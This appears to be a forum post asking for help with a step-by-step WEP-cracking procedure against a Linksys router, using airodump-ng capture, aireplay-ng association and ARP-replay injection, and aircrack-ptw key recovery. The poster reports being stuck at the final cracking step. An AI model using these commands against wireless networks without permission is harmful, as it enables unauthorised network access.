Equipment: Router Linksys54G & IPW3945 wireless card set to WEP CH6
Essid: THE STROKES
Bssid: 00:18:F8:D6:XX:XX
IPW3945 Mac: 00:1B:77:XX:XX:XX
1st: Start up wifiway 0.8 (autox)
2nd:open terminal & setup channel in ipw 3945 NIC
echo 6 > /sys/class/net/wifi0/device/channel
3rd:get the BSSID,Channel,ESSID
airodump-ng rtap0
4th: do control + C "to stop execution"
5th:next step.. echo 00:18:F6:D6:64:86 >/sys/class/net/wifi0/device/bssid
6th:"start capture"....airodump-ng -c 6 -w file rtap0
7th:open a new window"termainal"
8th:"set speed to 2MBPS"..echo '2' > /sys/class/net/wifi0/device/rate
9th:"activate the NIC"..ifconfig wifi0 up
10th:"we look for our MAC address"..ifconfig
         It will be in wifi0..HWaddr xx:xx:xx:xx:xx:xx"I wrote mine down"
11th:Initiate association with the router
       aireplay-ng -1 0 -a AP_BSSID -h MAC_ADDRESS_WIFI -e AP_ESSID wifi0
my cmd:..aireplay-ng -1 0 -a 00:18:F8:xx:xx:xx -h 00:1B:77:xx:xx:xx -e 'THE STROKES' wifi0

I fixed the 11th step by putting apostrophes. ex..'The Strokes'
so the next step is 12th..to inject
aireplay-ng -3 -b AP_BSSID -e AP_ESSID -h MAC_ADDRESS_WIFI wifi0
I get packets flowing but cant get the last step!
13th...aircrack-ptw CAPTURE_FILE.cap
I input aircrack-ptw replay_arp-0910-073519.cap and get
bssid = XX:XX:XX:XX:XX:XX keyindex=0
stats for bssid XX:XX:XX:XX:XX:XX keyindex=0 packet=8
HELP..


Please help get pass this step.
http://en.tuxero.com/2007/08/howto-crack-wep-sony-vaio.html